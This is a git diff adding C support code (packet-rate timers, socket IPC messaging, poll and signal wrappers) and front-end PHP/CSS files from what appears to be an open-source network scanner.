Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +/* XXX include check code for hpet, rtc, or tsc in that order, using first 2 if found > tsc */ +#include + +#include +#include +#include + +void (*r_start_tslot)(void)=NULL; +void (*r_end_tslot)(void)=NULL; + +/* tsc.c */ +void tsc_init_tslot(uint32_t ); +void tsc_start_tslot(void); +void tsc_end_tslot(void); +int tsc_supported(void); + +/* gtod.c */ +void gtod_init_tslot(uint32_t ); +void gtod_start_tslot(void); +void gtod_end_tslot(void); + +/* sleep.c */ +void sleep_init_tslot(uint32_t ); +void sleep_start_tslot(void); +void sleep_end_tslot(void); + +char *delay_getopts(void) { + static char str[64]; + + sprintf(str, "%d:tsc %d:gtod %d:sleep", XDELAY_TSC, XDELAY_GTOD, XDELAY_SLEEP); + return str; +} + +int delay_gettype(const char *str) { + assert(str != NULL); assert(strlen(str)); + + if (strcmp(str, "tsc") == 0) { + return XDELAY_TSC; + } + if (strcmp(str, "gtod") == 0) { + return XDELAY_GTOD; + } + if (strcmp(str, "sleep") == 0) { + return XDELAY_SLEEP; + } + return -1; +} + +char *delay_getname(int type) { + static char name[32]; + + CLEAR(name); + switch (type) { + case XDELAY_TSC: + strcpy(name, "tsc"); break; + case XDELAY_GTOD: + strcpy(name, "gtod"); break; + case XDELAY_SLEEP: + strcpy(name, "sleep"); break; + default: + strcpy(name, "unknown"); break; + } + + return name; +} + +int delay_getdef(uint32_t pps) { + + if (pps < 50) { + return XDELAY_SLEEP; + } + else if (pps > 50 && pps < 300) { + return XDELAY_GTOD; + } + + if (tsc_supported()) { + return XDELAY_TSC; + } + + return XDELAY_GTOD; +} + +void init_tslot(uint32_t pps, uint8_t delay_type) { + switch (delay_type) { + case XDELAY_TSC: + if (tsc_supported()) { + VRB(1, "using TSC delay"); + r_start_tslot=&tsc_start_tslot; + r_end_tslot=&tsc_end_tslot; + tsc_init_tslot(pps); + break; + } + ERR("TSC delay is not supported, using gtod"); + /* fall-through */ + + case XDELAY_GTOD: + r_start_tslot=>od_start_tslot; + r_end_tslot=>od_end_tslot; + gtod_init_tslot(pps); + VRB(1, "using gtod delay"); + break; + + case XDELAY_SLEEP: + r_start_tslot=&sleep_start_tslot; + r_end_tslot=&sleep_end_tslot; + sleep_init_tslot(pps); + VRB(1, "using sleep delay"); + break; + + default: + ERR("unknown delay type %d, defaulting to gtod delay", delay_type); + r_start_tslot=>od_start_tslot; + r_end_tslot=>od_end_tslot; + gtod_init_tslot(pps); + break; + + } + return; +} + +void start_tslot(void) { + r_start_tslot(); +} + +void end_tslot(void) { + r_end_tslot(); +} diff --git a/src/unilib/xdelay.h b/src/unilib/xdelay.h new file mode 100644 index 0000000..c351e5e --- /dev/null +++ b/src/unilib/xdelay.h @@ -0,0 +1,36 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _XDELAY_H +# define _XDELAY_H + +#define XDELAY_TSC 1 +#define XDELAY_GTOD 2 +#define XDELAY_SLEEP 3 + +#define XDELAY_DEFAULT XDELAY_TSC + +void init_tslot(uint32_t /* packets per second we want to have */, uint8_t /* delay type */); +void start_tslot(void); +void end_tslot(void); +char *delay_getopts(void); +int delay_gettype(const char *); +char *delay_getname(int ); +int delay_getdef(uint32_t /* pps */); + +#endif diff --git a/src/unilib/xipc.c b/src/unilib/xipc.c new file mode 100644 index 0000000..db8d205 --- /dev/null +++ b/src/unilib/xipc.c @@ -0,0 +1,407 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include +#include +#include + +/* XXX this needs to be written more clearly */ + +static union { + struct message_s *m; + void *ptr; + uint8_t *hdr; +} m_u[MAX_CONNS][MAX_MSGS]; + +static int setup_mptrs(int /* sock */); + +static uint8_t *msg_buf[MAX_CONNS], *save_buf[MAX_CONNS]; +static size_t m_off[MAX_CONNS], m_max[MAX_CONNS]; +static ssize_t readsize[MAX_CONNS]; +static size_t save_size[MAX_CONNS], ureadsize[MAX_CONNS]; + +int ipc_init(void) { + int j=0; + + for (j=0; j < MAX_CONNS; j++) { + msg_buf[j]=NULL; save_buf[j]=NULL; + m_off[j]=0; m_max[j]=0; + readsize[j]=-1; + save_size[j]=0; ureadsize[j]=0; + } + + return 1; +} + +static void reset_messages(int sock) { + int j=0; + + if (sock < 0 || sock >= MAX_CONNS) { + PANIC("socket out of range [%d]", sock); + } + + for (j=0; j < MAX_MSGS; j++) { + m_u[sock][j].ptr=NULL; + } + + if (msg_buf[sock] != NULL) { + xfree(msg_buf[sock]); + msg_buf[sock]=NULL; + } + + ureadsize[sock]=0; readsize[sock]=0; + return; +} + + +int recv_messages(int sock) { + + DBG(M_IPC, "recv_messages on socket %d", sock); + + if (sock < 0 || sock >= MAX_CONNS) { + PANIC("socket out of range [%d]", sock); + } + + reset_messages(sock); + + msg_buf[sock]=(uint8_t *)xmalloc(IPC_DSIZE); + memset(msg_buf[sock], 0, IPC_DSIZE); + + assert(save_size[sock] <= MAX_SLACKSIZE); + + if (save_size[sock]) { + if (save_buf[sock] == NULL) { + PANIC("save_size is not zero but save_buf is null"); + } + + DBG(M_IPC, "saved data in buffer, saving it in beginning of read buffer"); + memcpy(msg_buf[sock], save_buf[sock], save_size[sock]); + xfree(save_buf[sock]); + } + +again: + readsize[sock]=read( + sock, + &msg_buf[sock][save_size[sock]], + IPC_DSIZE - save_size[sock] + ); + + if (readsize[sock] < 0 && errno == EINTR) { + goto again; + } + + if (readsize[sock] < 0) { + msg_buf[sock]=NULL; + ERR("read fails: %s", strerror(errno)); + return -1; + } + + ureadsize[sock]=(size_t)readsize[sock]; + ureadsize[sock] += save_size[sock]; + save_size[sock]=0; + + if (ureadsize[sock] == 0) { + /* EOF from peer, even with buffer */ + return 0; + } + + if (ureadsize[sock] < sizeof(ipc_msghdr_t)) { + ERR("undersized ipc message, only " SSTFMT " bytes [min required " STFMT "]", + ureadsize[sock], sizeof(ipc_msghdr_t) + ); + return -1; + } + + DBG(M_IPC, "read %u bytes of data from fd %d", (unsigned int)ureadsize[sock], sock); + + /* now setup the m_u strucure to point to the messages */ + setup_mptrs(sock); + + m_off[sock]=0; + + return 1; +} + +/* + * returns 1 (more to read) or 0 (done reading), or -1 for error + * if a sender sends 2 messages, then the last will be read first, + * and the second to last next, etc + */ + +int get_message(int sock, uint8_t *type, uint8_t *status, uint8_t **data, size_t *data_len) { + + assert(data != NULL && type != NULL && status != NULL && data_len != NULL); + *data=NULL; *type=0; *data_len=0; + + if (sock < 0 || sock >= MAX_CONNS) { + PANIC("socket out of range [%d]", sock); + } + + assert(m_off[sock] < (MAX_MSGS - 1)); + + if (m_u[sock][m_off[sock]].ptr == NULL) { + DBG(M_IPC, "get_message: returning 0 end of messages"); + *type=0; + *status=0; + *data=NULL; + *data_len=0; + return 0; + } + + + DBG(M_IPC, "get_message: message type %u status %u data_len " STFMT + " and m_off " STFMT " out of m_max " STFMT, + m_u[sock][m_off[sock]].m->hdr.type, + m_u[sock][m_off[sock]].m->hdr.status, + m_u[sock][m_off[sock]].m->hdr.len, + m_off[sock], + m_max[sock] + ); + + if (m_u[sock][m_off[sock]].m->hdr.header != IPC_MAGIC_HEADER) { + PANIC("wrong magic number for IPC header"); /* obviously we should choose our friends more closely */ + } + *type=m_u[sock][m_off[sock]].m->hdr.type; + *status=m_u[sock][m_off[sock]].m->hdr.status; + *data=&m_u[sock][m_off[sock]].m->data[0]; + *data_len=m_u[sock][m_off[sock]].m->hdr.len; + ++m_off[sock]; + + return 1; +} + +int get_singlemessage(int sock, uint8_t *type, uint8_t *status, uint8_t **data, size_t *data_len) { + + assert(data != NULL && type != NULL && status != NULL && data_len != NULL); + *data=NULL; *type=0; *data_len=0; + + if (sock < 0 || sock >= MAX_CONNS) PANIC("socket out of range [%d]", sock); + + if (recv_messages(sock) < 1) { + return -1; + } + + if (m_max[sock] > 1) { + PANIC("too many messages m_max is " STFMT, m_max[sock]); + } + + if (m_u[sock][m_off[sock]].ptr == NULL) { + PANIC("null message"); + } + + DBG(M_IPC, "get_message: message type %s status %u data_len " STFMT + " and m_off " STFMT " out of m_max " STFMT, + strmsgtype(m_u[sock][0].m->hdr.type), + m_u[sock][0].m->hdr.status, + m_u[sock][0].m->hdr.len, + m_off[sock], + m_max[sock] + ); + + *type=m_u[sock][0].m->hdr.type; + *status=m_u[sock][0].m->hdr.status; + *data=&m_u[sock][0].m->data[0]; + *data_len=m_u[sock][0].m->hdr.len; + + return 1; +} + +static int setup_mptrs(int sock) { + size_t mptr_off=0, gmptr_off=0; + + if (sock < 0 || sock >= MAX_CONNS) { + PANIC("socket out of range [%d]", sock); + } + + if (ureadsize[sock] < sizeof(ipc_msghdr_t)) { + PANIC("setup mptrs called with too small read buffer " SSTFMT " bytes", ureadsize[sock]); + } + + for (m_off[sock]=0, mptr_off=0, m_max[sock]=0; mptr_off < ureadsize[sock]; m_off[sock]++) { + + if (m_off[sock] >= MAX_MSGS) { + PANIC("too many messages in ipc read " STFMT, m_off[sock]); + } + + if (mptr_off + sizeof(ipc_msghdr_t) > ureadsize[sock]) { + save_size[sock]=ureadsize[sock] - mptr_off; + save_buf[sock]=(uint8_t *)xmalloc(save_size[sock]); + memcpy(save_buf[sock], &msg_buf[sock][mptr_off], save_size[sock]); + m_u[sock][m_off[sock]].ptr=NULL; + break; + } + m_u[sock][m_off[sock]].hdr=&msg_buf[sock][mptr_off]; + + if (m_u[sock][m_off[sock]].m->hdr.header != IPC_MAGIC_HEADER) { + PANIC("ipc message is damaged, wrong magic number `%08x' m_off=" STFMT " mptr_off=" STFMT, + m_u[sock][m_off[sock]].m->hdr.header, + m_off[sock], + mptr_off + ); + } + DBG(M_IPC, "got IPC Message header type %u[%s] status %u length " STFMT, + m_u[sock][m_off[sock]].m->hdr.type, + strmsgtype(m_u[sock][m_off[sock]].m->hdr.type), + m_u[sock][m_off[sock]].m->hdr.status, + m_u[sock][m_off[sock]].m->hdr.len + ); + gmptr_off=mptr_off; + mptr_off += (m_u[sock][m_off[sock]].m->hdr.len + sizeof(ipc_msghdr_t)); /* INC */ + } /* for mptr_off < ureadsize */ + + /* now figure out how many (if any) bytes were left trailing at the end, and save them */ + if (mptr_off > ureadsize[sock]) { + save_size[sock]=ureadsize[sock] - gmptr_off; + if (save_size[sock] > MAX_SLACKSIZE) PANIC("saved data is too big"); + + save_buf[sock]=(uint8_t *)xmalloc(save_size[sock]); + memcpy(save_buf[sock], &msg_buf[sock][gmptr_off], save_size[sock]); + /* the message we are on is incomplete, remove it from the recv area */ + m_off[sock]--; + m_u[sock][m_off[sock]].ptr=NULL; + } + + if (m_off[sock] == 0) { + ERR("wtf"); + return -1; + } + + assert(m_off[sock] > 0); + + m_max[sock]=(m_off[sock] - 1); + m_off[sock]=0; + + return 1; +} + + +int send_message(int sock, int type, int status, const uint8_t *data, size_t data_len) { + union { + struct message_s *m; + void *ptr; + } sm_u; + ssize_t ret=0; + struct message_s m; + + if (sock < 0 || sock >= MAX_CONNS) PANIC("socket out of range [%d]", sock); + + memset(&m, 0, sizeof(m)); + sm_u.m=&m; + + if (data_len > (IPC_DSIZE - sizeof(ipc_msghdr_t))) { + PANIC("attempt to send oversized packet of length " STFMT " from IPC", data_len); + } + + if (type < 0 || type > 0xFF) { + ERR("message type out of range `%d'", type); + return -1; + } + sm_u.m->hdr.type=(uint8_t)type; + + if (status < 0 || status > 0xFF) { + ERR("message status out of range `%d'", status); + return -1; + } + sm_u.m->hdr.status=(uint8_t)status; + + sm_u.m->hdr.len=data_len; + sm_u.m->hdr.header=IPC_MAGIC_HEADER; + + DBG(M_IPC, "sending ipc message type %d[%s] status %d len " STFMT " to fd %d", + type, + strmsgtype(type), + status, + data_len, + sock + ); + + if (data_len > 0) { + memcpy(sm_u.m->data, data, data_len); + } + +again: + ret=write(sock, sm_u.ptr, (sizeof(ipc_msghdr_t) + data_len)); + if (ret < 0 && errno == EINTR) { + goto again; + } + + /* XXX + * in practice this doesnt generally fail (partial writes mostly), + * but we should check for it and retry + */ + + if (ret > 0 && (size_t)ret != sizeof(ipc_msghdr_t) + data_len) { + ERR("partial write, this is likely going to cause problems"); + } + else if (ret < 1) { + ERR("write failed somehow, this is likely going to cause problems"); + } + + return ret; +} + +struct msg_ntbl { + int type; + char hr[32]; +}; + +static struct msg_ntbl m_tbl[]={ +/* |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 */ +{MSG_ERROR, "Error" }, +{MSG_VERSIONREQ, "VersionRequest" }, +{MSG_VERSIONREPL, "VersionReply" }, +{MSG_QUIT, "Quit" }, +{MSG_WORKUNIT, "Workunit" }, +{MSG_WORKDONE, "Workdone" }, +{MSG_OUTPUT, "Output" }, +{MSG_READY, "Ready" }, +{MSG_ACK, "Ack" }, +{MSG_IDENT, "Ident" }, +{MSG_IDENTSENDER, "IdentSender" }, +{MSG_IDENTLISTENER, "IdentListener" }, +{MSG_NOP, "Nop" }, +{MSG_TERMINATE, "Terminate" }, +{-1, "error" } +}; + +char *strmsgtype(int msgtype) { + static char sbuf[32]; + uint32_t j=0; + + CLEAR(sbuf); + for (j=0; m_tbl[j].type != -1; j++) { + if (m_tbl[j].type == msgtype) { + sprintf(sbuf, "%s", m_tbl[j].hr); + return &sbuf[0]; + } + } + + sprintf(sbuf, "UNKNOWN [%d]", msgtype); + return &sbuf[0]; +} + +#undef IPC_DSIZE +#undef IPC_MAGIC_HEADER +#undef MAX_MSGS +#undef MAX_SLACKSIZE diff --git a/src/unilib/xipc.h b/src/unilib/xipc.h new file mode 100644 index 0000000..857bf47 --- /dev/null +++ b/src/unilib/xipc.h @@ -0,0 +1,58 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _IPC_H +# define _IPC_H + +#define MSG_ERROR 0 +#define MSG_VERSIONREQ 1 +#define MSG_VERSIONREPL 2 +#define MSG_QUIT 3 +#define MSG_WORKUNIT 4 +#define MSG_WORKDONE 5 +#define MSG_OUTPUT 6 +#define MSG_READY 7 +#define MSG_ACK 8 +#define MSG_IDENT 9 +#define MSG_IDENTSENDER 10 +#define MSG_IDENTLISTENER 11 +#define MSG_NOP 12 +#define MSG_TERMINATE 13 + +#define MSG_STATUS_OK 0 +#define MSG_STATUS_ERROR 1 +#define MSG_STATUS_UNKNOWN 2 + +int ipc_init(void); + +int send_message(int /* socket */, int /* type */, int /* status */, const uint8_t * /* data */, size_t /* datalen */); +int recv_messages(int /* socket */); +int get_message(int /* socket */, uint8_t * /* type */, uint8_t * /* status */, uint8_t ** /* data */, size_t * /* msg len */); +int get_singlemessage(int /* socket */, uint8_t * /* type */, uint8_t * /* status */, uint8_t ** /* data */, size_t * /* msg len */); + +char *strmsgtype(int ); + +#define IPC_TYPE_MASTER 0 +#define IPC_TYPE_LISTENER 1 +#define IPC_TYPE_SENDER 2 +#define IPC_TYPE_DISPLAY 3 + +#define IPC_LOCAL 1 +#define IPC_REMOTE 2 + +#endif diff --git a/src/unilib/xipc_private.h b/src/unilib/xipc_private.h new file mode 100644 index 0000000..97a0207 --- /dev/null +++ b/src/unilib/xipc_private.h @@ -0,0 +1,38 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _XIPC_PRIVATE_H +# define _XIPC_PRIVATE_H + +#define MAX_SLACKSIZE 2048 +#define IPC_MAGIC_HEADER 0xf0f1f2f3 /* to make endian mis-matches fault, as this is not mis-matched endian safe */ +#define MAX_MSGS (IPC_DSIZE / 8) /* close to maximum allowed */ + +typedef struct _PACKED_ ipc_msghdr_t { + uint32_t header; + uint8_t type; + uint8_t status; + size_t len; +} ipc_msghdr_t; + +struct _PACKED_ message_s { + ipc_msghdr_t hdr; + uint8_t data[IPC_DSIZE - sizeof(ipc_msghdr_t)]; +}; + +#endif diff --git a/src/unilib/xpoll.c b/src/unilib/xpoll.c new file mode 100644 index 0000000..00ebb4e --- /dev/null +++ b/src/unilib/xpoll.c @@ -0,0 +1,79 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +/* +XXX add epoll support and perhaps a wrapper for RT IO etc +XXX make dynamic not bounded +*/ + +int xpoll(xpoll_t *array, uint32_t len, int timeout) { + uint32_t j=0; + int ret=0; + xpoll_t *start=NULL; + struct pollfd pdf[MAX_CONNS]; + + assert(array != NULL); + assert(len < MAX_CONNS); + + for (j=0, start=array; j < len; j++, array++) { + pdf[j].fd=array->fd; + array->rw=0; + pdf[j].revents=0; + pdf[j].events=POLLIN|POLLPRI; + } + +repoll: + if ((ret=poll(&pdf[0], len, timeout)) < 0) { + if (ret < 0 && errno == EINTR) { + goto repoll; + } + ERR("poll errors: %s", strerror(errno)); + return -1; + } + + for (array=start, j=0; j < len; j++, array++) { + array->rw=0; + if (pdf[j].revents & (POLLHUP|POLLERR|POLLNVAL)) { + array->rw |= XPOLL_DEAD; + } + if (pdf[j].revents & POLLIN) { + array->rw |= XPOLL_READABLE; + } + if (pdf[j].revents & POLLPRI) { + array->rw |= XPOLL_PRIREADABLE; + } + DBG(M_PIO, "Socket %d is %s %s %s", pdf[j].fd, + (array->rw & (POLLHUP|POLLERR|POLLNVAL) ? "dead" : "alive"), + (array->rw & (POLLIN) ? "readable" : "not readable"), + (array->rw & (POLLPRI) ? "pri-writable" : "not pri-writeable") + ); + } + + return ret; +} diff --git a/src/unilib/xpoll.h b/src/unilib/xpoll.h new file mode 100644 index 0000000..6b0886c --- /dev/null +++ b/src/unilib/xpoll.h @@ -0,0 +1,33 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _XPOLL_H +# define _XPOLL_H + +#define XPOLL_READABLE 1 +#define XPOLL_PRIREADABLE 2 +#define XPOLL_DEAD 8 + +typedef struct xpoll_t { + int fd; + int rw; +} xpoll_t; + +int xpoll(xpoll_t * /* array */, uint32_t /* len */, int /* timeout */); + +#endif diff --git a/src/usignals.c b/src/usignals.c new file mode 100644 index 0000000..aa75cc1 --- /dev/null +++ b/src/usignals.c @@ -0,0 +1,99 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include + +#include +#include + +static int children_synced=0, children_dead=0; + +static void signals_chldsync(int ); +static void signals_chlddead(int ); + +void signals_setup(void) { +#ifdef DEBUG_SUPPORT + bluescreen_register(); +#endif + return; +} + +int signals_children(void) { + struct sigaction chsa; + + if (s->forklocal) { + DBG(M_CLD, "children will be forked, setting up signal handler for them"); + + chsa.sa_handler=&signals_chlddead; + sigemptyset(&chsa.sa_mask); + chsa.sa_flags=SA_NOCLDSTOP; + + if (sigaction(SIGCHLD, &chsa, NULL) < 0) { + ERR("cant register SIGCHLD handler"); + return -1; + } + + chsa.sa_handler=&signals_chldsync; + sigemptyset(&chsa.sa_mask); + chsa.sa_flags=0; +#ifdef SA_RESTART + chsa.sa_flags |= SA_RESTART; +#endif + + if (sigaction(UNI_SYNC_SIGNAL, &chsa, NULL) < 0) { + ERR("cant register SYNC handler"); + return -1; + } + } + + return 1; +} + +static void signals_chldsync(int signo) { + + if (signo == UNI_SYNC_SIGNAL) { + ++children_synced; + } + + return; +} + +static void signals_chlddead(int signo) { + int status=0; + + if (signo == SIGCHLD) { + if (wait(&status) > 0) { + ++children_dead; + } + } + + return; +} + +int signals_synccount(void) { + return children_synced; +} + +int signals_deadcount(void) { + return children_dead; +} diff --git a/src/usignals.h b/src/usignals.h new file mode 100644 index 0000000..3c2b7b9 --- /dev/null +++ b/src/usignals.h @@ -0,0 +1,34 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _USIGNALS_H +# define _USIGNALS_H + +/* setup generic (non-child related) signals */ +void signals_setup(void); + +/* setup child related signal handlers */ +int signals_children(void); + +/* how many children have synced with us? */ +int signals_synccount(void); + +/* how many children are dead? */ +int signals_deadcount(void); + +#endif diff --git a/src/vip.c b/src/vip.c new file mode 100644 index 0000000..9190dc7 --- /dev/null +++ b/src/vip.c @@ -0,0 +1,45 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include + +#include + +static unsigned int vip_off=0; + +void vip_add(const struct sockaddr *hwaddr, const struct sockaddr *ipaddr, const char *iname) { + + DBG(M_DBG, "adding VIP (%s) hwaddr %s ipaddr %s interface %s", s->vi != NULL ? "new" : "additional", cidr_saddrstr(hwaddr), cidr_saddrstr(ipaddr), iname); + + if (s->vi == NULL) { + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + } + else { + s->vi=xrealloc(s->vi, sizeof(interface_info_t *) * vip_off) + sizeof(interface_info_t *); + } + s->vi[vip_off]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + memset(s->vi[vip_off], 0, sizeof(interface_info_t)); + + return; +} diff --git a/src/vip.h b/src/vip.h new file mode 100644 index 0000000..78102c6 --- /dev/null +++ b/src/vip.h @@ -0,0 +1,28 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _VIP_H +# define _VIP_H + +void vip_add( + const struct sockaddr * /* HW address */, + const struct sockaddr * /* inet addr */, + const char * /* interface name */ + ); + +#endif diff --git a/tstamp b/tstamp new file mode 100644 index 0000000..9c8719c --- /dev/null +++ b/tstamp @@ -0,0 +1 @@ +Wed Dec 12 16:42:26 CET 2007 diff --git a/www-front-end/TODO b/www-front-end/TODO new file mode 100644 index 0000000..8f74e88 --- /dev/null +++ b/www-front-end/TODO @@ -0,0 +1 @@ +saved bad queries should be reset to last known good query diff --git a/www-front-end/attic/cidr.php b/www-front-end/attic/cidr.php new file mode 100644 index 0000000..21aa1c8 --- /dev/null +++ b/www-front-end/attic/cidr.php @@ -0,0 +1,39 @@ + 0x00000000, +1 => 0x80000000, 2 => 0xc0000000, 3 => 0xe0000000, 4 => 0xf0000000, +5 => 0xf8000000, 6 => 0xfc000000, 7 => 0xfe000000, 8 => 0xff000000, +9 => 0xff800000, 10 => 0xffc00000, 11 => 0xffe00000, 12 => 0xfff00000, +13 => 0xfff80000, 14 => 0xfffc0000, 15 => 0xfffe0000, 16 => 0xffff0000, +17 => 0xffff8000, 18 => 0xffffc000, 19 => 0xffffe000, 20 => 0xfffff000, +21 => 0xfffff800, 22 => 0xfffffc00, 23 => 0xfffffe00, 24 => 0xffffff00, +25 => 0xffffff80, 26 => 0xffffffc0, 27 => 0xffffffe0, 28 => 0xfffffff0, +29 => 0xfffffff8, 30 => 0xfffffffc, 31 => 0xfffffffe, 32 => 0xffffffff); + + function cidr_pair($hoststr, &$low, &$high) { + $host=""; + $mask=32; + $netlow=0; $nethigh=0; + global $c_tbl; + + if (strstr($hoststr, "/")) { + sscanf($hoststr, "%[^/]/%d", $host, $mask); + } + else { + $host=$hoststr; + $mask=32; + } + + if ($mask < 0 || $mask > 32) trigger_error("netmask out of range"); + + $ip=gethostbyname($host); + + $low=sprintf("%u", (ip2long($ip) & $c_tbl[$mask])); + $high=sprintf("%u", (ip2long($ip) | (0xffffffff ^ $c_tbl[$mask]))); + } + +} +?> diff --git a/www-front-end/config.php b/www-front-end/config.php new file mode 100644 index 0000000..7f664b1 --- /dev/null +++ b/www-front-end/config.php @@ -0,0 +1,32 @@ + diff --git a/www-front-end/css/style.css b/www-front-end/css/style.css new file mode 100644 index 0000000..a3a777b --- /dev/null +++ b/www-front-end/css/style.css @@ -0,0 +1,124 @@ +/* + * the point of this CSS is to make people + * a) depressed with the dark colors + * b) insane with all the variants of the same bad colors + */ + +html, body { + font-weight: normal; + font-family: verdana, sans-serif; + background: #000000; + color: #FFFFFF; + margin: 0px; +} + +body,table,tr,th,td,div,p,a,font,span,h2,h3,h4,ul,li,input,html { + font-family: verdana, sans-serif; + font-size: 10pt; +} + +.hexdump { + font-family: fixed; + font-weight: bold; + font-size: 10pt; +} + +a { + color: #CC0000; + text-decoration: none; +} + 